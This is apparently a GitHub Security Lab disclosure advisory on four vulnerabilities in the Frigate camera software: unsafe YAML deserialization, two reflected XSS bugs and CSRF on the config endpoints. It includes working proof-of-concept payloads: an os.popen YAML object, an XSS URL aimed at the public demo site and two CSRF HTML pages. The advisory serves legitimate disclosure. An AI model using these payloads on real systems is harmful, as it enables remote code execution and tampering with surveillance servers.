Coordinated Disclosure Timeline
- 2023-10-04: Report sent to blakeb@blakeshome.com
- 2023-10-07: Maintainer acknowledges the report
- 2023-10-10: Created reports through Private Vulnerability Reporting: GHSA-qp3h-4q62-p428, GHSA-jjxc-m35j-p56f, GHSA-xq49-hv88-jr6h
- 2023-10-28: Reports are published
Summary
-
Unsafe deserialization in
load_config_with_no_duplicatesoffrigate/util/builtin.py(GHSL-2023-190)- An unsafe deserialization vulnerability was identified in the endpoints used to save configurations for Frigate. This can lead to unauthenticated remote code execution. This can be performed through the UI at
/configor through a direct call to/api/config/save.
- An unsafe deserialization vulnerability was identified in the endpoints used to save configurations for Frigate. This can lead to unauthenticated remote code execution. This can be performed through the UI at
-
Reflected XSS through
/<camera_name>API endpoints (GHSL-2023-195)- There is a reflected XSS vulnerability in any API endpoints reliant on the
/<camera_name>base path as values provided for the path are not sanitized.
- There is a reflected XSS vulnerability in any API endpoints reliant on the
-
Cross-site request forgery vulnerability in
config_saveandconfig_setrequest handlers (GHSL-2023-198)- The
config/saveandconfig/setendpoints of Frigate do not implement any CSRF protection. This makes it possible for a request sourced from another site to update the configuration of the Frigate server (e.g. via ““drive-by” attack).
- The
-
Cross-site scripting in
/logs/<service>endpoint (GHSL-2023-209)-
The
logs/<service>endpoint permits a user to retrieve logs from specified services (nginx, go2rtc, frigate), however if the user specifies a service that is not in that list this endpoint should return an error stating that the service is unavailable. The returned data is the default content-type oftext/htmland is unsanitized. As such, this permits the injection of javascript payloads.- Please note that this is not currently exploitable due to a separate bug, however if/when that is resolved it will permit this XSS vulnerability to be exploited. The bug preventing this can be found in the
ifstatement that wraps this error message. This should presumable readif not service_locationorif service not in log_locations.
- Please note that this is not currently exploitable due to a separate bug, however if/when that is resolved it will permit this XSS vulnerability to be exploited. The bug preventing this can be found in the
-
Project
Frigate
Tested Version
Details
Issue 1: Unsafe deserialization in load_config_with_no_duplicates of frigate/util/builtin.py (GHSL-2023-190)
Input is initially accepted through http.py at frigate/http.py:998:
@bp.route("/config/save", methods=["POST"])
def config_save():
save_option = request.args.get("save_option")
new_config = request.get_data().decode()
The user-provided input is then parsed and loaded by load_config_with_no_duplicates at frigate/config.py:1244:
@classmethod
def parse_raw(cls, raw_config):
config = load_config_with_no_duplicates(raw_config)
return cls.parse_obj(config)
However, load_config_with_no_duplicates uses yaml.loader.Loader which can instantiate custom constructors. A provided payload will be executed directly at frigate/util/builtin.py:110:
PreserveDuplicatesLoader.add_constructor(
yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)
This vulnerability was found using CodeQL’s Deserialization of user-controlled data query for Python.
Impact
This issue may lead to pre-authenticated Remote Code Execution.
Proof of Concept:
- Start Frigate in Docker for ease of setup.
- Navigate to
localhost:5000/config. - Enter the following content into the config, and save the configuration:
!!python/object/apply:os.popen
- touch /tmp/pwned
- Note that
/tmp/pwnedis created in the container. This access can also be extended to write to mounted filesystems if not mounted as read-only.
Resources
Issue 2: Reflected XSS through /<camera_name> API endpoints (GHSL-2023-195)
The recording_clip request handler returns an unescaped/unsanitized string based on the camera_name requested in the route that calls it. As a result of this, reflected XSS is possible.
By calling a camera that does not exist, we can force a failure response that will return the requested value. Note that this is response will use Flask’s default content-type of text/html:
if p.returncode != 0:
logger.error(p.stderr)
return f"Could not create clip from recordings for {camera_name}.", 500
As an example, we can trigger an XSS payload using the official demo instance with the following GET request executed in a browser:
GET https://demo.frigate.video/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E
This vulnerability was found using CodeQL’s Reflected server-side cross-site scripting for Python.
Impact
As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.
Resources
- Python Library Reference: html.escape().
- Common Weakness Enumeration: CWE-79.
- Common Weakness Enumeration: CWE-116.
Issue 3: Cross-site request forgery vulnerability in config_save and config_set request handlers (GHSL-2023-198)
When provided with a POST request containing the save_option parameter, the config_save request handler will attempt to write the user-supplied configuration in the request body to the configuration file on disk. Similarly, when provided with a PUT request the config_set request handler will attempt to update the existing configuration file with the user-supplied values specified as variables in the URL.
As these endpoints do not have any CSRF protection or authentication requirement this permits a request from any origin (e.g. a “drive-by” attack) to update the configuration of the Frigate server.
Proof of Concept
- Start Frigate following the Docker instructions using the example
config.ymlfile. - Host an HTML file with the following contents anywhere accessible from your local machine:
<html>
<script>
function pwnd()
{
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://<FRIGATE_SERVER>:5000/api/config/save?save_option=saveonly");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
console.log(xhr.status);
console.log(xhr.responseText);
}};
let data = `mqtt:
host: mqtt
cameras:
pwnd:
ffmpeg:
inputs:
- path: /media/frigate/car-stopping.mp4
input_args: -re -stream_loop -1 -fflags +genpts
roles:
- detect
- rtmp
detect:
height: 1080
width: 1920
fps: 5`;
xhr.send(data);
console.log("pwnd");
}
pwnd();
</script>
</html>
- Access the new page (e.g.
http://<YOUR_WEB_SERVER_HOST>/poc.html). - Note that the configuration of the Frigate service has been updated to now have a camera named
pwndinstead oftest.
This can also be performed against the config/set endpoint with the same setup outlined above, but the following poc.html which will update the mqtt.host value to pwnd:
<html>
<script>
function pwn() {
let xhr = new XMLHttpRequest();
xhr.open("PUT", "http://<FRIGATE_SERVER>:5000/api/config/set?mqtt.host=pwnd");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
console.log(xhr.status);
console.log(xhr.responseText);
}};
xhr.send();
}
pwn();
</script>
</html>
This demonstrates that requests from any origin can result in arbitrary writes to Frigate’s configuration.
Impact
This issue can lead to arbitrary configuration updates for the Frigate server, resulting in denial of service and possible data exfiltration.
Resources
Issue 4: Cross-site scripting in /logs/<service> endpoint (GHSL-2023-209)
The following error message is returned with a content type of text/html and the values are fully user controlled and unsanitized.
return f"{service} is not a valid service", 404
This permits an attacker to craft a URL to a service that is not in the valid log_locations and that instead contains a javascript payload for XSS purposes.
This was identified with CodeQL’s Reflected server-side cross-site scripting query.
Impact
As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.
Resources
- Python Library Reference: html.escape().
- Common Weakness Enumeration: CWE-79.
- Common Weakness Enumeration: CWE-116.
CVE
- CVE-2023-45672
- CVE-2023-45671
- CVE-2023-45670
Credit
This issue was discovered and reported by GHSL team members @maclarel (Logan MacLaren) and @jorgectf (Jorge Rosillo).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-190, GHSL-2023-195, GHSL-2023-198, or GHSL-2023-209 in any communication regarding this issue.